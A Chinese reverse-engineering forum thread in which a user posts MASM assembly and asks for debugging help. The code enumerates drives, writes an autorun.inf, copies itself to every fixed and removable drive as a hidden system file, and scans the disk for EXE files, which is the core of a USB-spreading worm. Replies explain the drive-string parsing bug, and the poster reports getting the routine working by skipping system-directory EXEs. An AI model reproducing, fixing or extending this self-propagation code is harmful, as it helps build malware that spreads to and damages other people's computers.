首页
社区
课程
招聘
[求助]线程的问题
发表于: 2007-12-14 03:57 4060

[求助]线程的问题

2007-12-14 03:57
4060
_Browse        proc    uses ebx esi edi _lParam
        local    @szBuffer[1024]:byte

        invoke    GetLogicalDriveStrings,sizeof @szBuffer,addr @szBuffer
        .if    eax
            invoke    _CopyMe,addr @szBuffer
        .endif
        ret
_Browse        endp
这是搜索驱动器
_CopyMe        proc    _szDir
        local    @szBuffer[128]:byte
        pushad
        mov    esi,_szDir

    @@:
        invoke    GetDriveType,esi
        .if    eax == DRIVE_FIXED || DRIVE_REMOVABLE            ;如果为可用
            invoke    lstrcpy,addr @szBuffer,esi
                  invoke    _BindEntry,addr @szBuffer
        .endif
        add    esi,4
        cmp    byte ptr [esi],0
        jnz    @B
        popad
        ret
_CopyMe        endp             检查是否可用的可用驱动器

_BindEntry    proc    uses ebx esi edi,_lParam
        local    @szBuffer[128]:byte

        invoke    lstrcpy,addr @szBuffer,_lParam
        invoke    lstrcat,addr @szBuffer,addr szAutorunNme
        invoke    _CreateAutorun,addr @szBuffer            ;创建inf文件
        invoke    lstrcpy,addr @szBuffer,_lParam
        invoke    lstrcat,addr @szBuffer,addr szFileName
        invoke    CopyFile,addr szMyPath,addr @szBuffer,FALSE    ;拷贝自身
        invoke    SetFileAttributes,addr @szBuffer,FILE_ATTRIBUTE_SYSTEM or FILE_ATTRIBUTE_HIDDEN
        invoke    _FindExe,addr vexed           ;这里是搜索当前的磁盘
        ret
_BindEntry    endp
现在的问题是invoke    _FindExe,addr vexed这个过程只执行一次.也就是程序运行后,它
只搜索C盘,期于的盘都不搜索就结束了,也就是_CopyMe  检查的第一个磁盘

还有  如果换成线程去执行 _FindExe过程的话.程序连一个盘也不搜索了.
大侠门指点下

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (4)
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
[QUOTE=;]...[/QUOTE]
这么久了怎么没个一人回话
2007-12-14 16:34
0
雪    币: 125
活跃值: (35)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
3
[QUOTE=;]...[/QUOTE]
汇编看起来头晕,不过应该很简单的,仔细看看嘛,要不就调试跟下
2007-12-15 10:04
0
雪    币: 1852
活跃值: (504)
能力值: (RANK:1010 )
在线值:
发帖
回帖
粉丝
4
如楼上所说的,格式不太好,看起来头晕

GetLogicalDriveStrings你没理解这个函数
使用这个函数返回的字符而顺次存放的,例如'c',':','\','\0','d',':','\','\0'……
没个字符串后面都个\0字符串结束符
需要解析后才能使用。
2007-12-16 21:35
0
雪    币: 116
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
谢谢 Win32/Win64编程』版主 回复我的问。我的问题现在已经解决了

是在读文件的地方出错了。我是读取整个硬盘的EXE文件。可能是读取系统目录下的文件时候。出错了。我改了下。不读系统目录下的EXE文件 结果好了

不过我还是不知道为什么系统目录下的有的EXE文件不能读,
2007-12-17 00:01
0
游客
登录 | 注册 方可回帖
返回
//